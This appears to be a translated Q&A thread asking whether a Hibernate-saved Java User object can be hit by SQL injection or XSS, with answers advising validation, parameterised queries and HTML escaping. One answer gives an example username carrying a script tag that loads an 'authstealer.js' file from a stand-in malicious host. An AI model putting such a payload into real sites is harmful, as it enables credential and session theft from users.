攻击者可以将sql或javascripts注入java POJO吗?

时间:2017-10-19 16:06:26

标签: java hibernate security xss sql-injection

我有一个表单,用户可以在我的网站上注册 数据存储在用户POJO

class User{
private String userName;
private boolean enabled;
private Date registrationDate;
...
}

然后使用

保存到数据库
org.hibernate.Session.persist(User)

攻击者是否有办法在userName字段上执行sql注入或XSS,污染数据或进行任何其他类型的攻击?我如何防范它?

攻击者也可以在String以外的数据类型中存储sql语句或javascript代码吗?

3 个答案:

答案 0 :(得分:1)

https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection

验证表单输入总是更好。由于给定的对象相对简单,因此对您来说不应该是一个问题。

也不要通过字符串连接构建查询,并在需要时使用Query.setParameter()。这些方法专用于SQL注入预防,并将消除此类风险。

答案 1 :(得分:1)

从目前为止发布的内容看起来很容易受到XSS的攻击。 如果我为用户名提供以下字符串该怎么办:

Username<script src="http://myevilsite.com/authstealer.js">

任何在网站上看到我的用户名的人都会运行一些js。

也许你应该burp你的网站。

答案 2 :(得分:0)

清除hibernate的使用,比如说不做丑陋的事情,是安全的。所以没有SQL注入

但是,如果HTML表单输入没有防范JavaScript,那么您可能会在数据库中的文本中获得JS。

在输出该文本时,必须注意做escapeHTML = true。 然后没有XSS

一般来说不是一个大问题,但要注意开发人员的问题。带有转储等的管理页面上的懒惰;这些页面可能会更简单地创建。

在其他格式上: SVG (可编写脚本的矢量格式)是一种美观的可扩展XML格式的图像,可在HTML页面上显示。但是,它们可能包含用于交互的JavaScript。

上传的 richt text 电子表格格式同样适用,有时保存在数据库的 BLOB 中。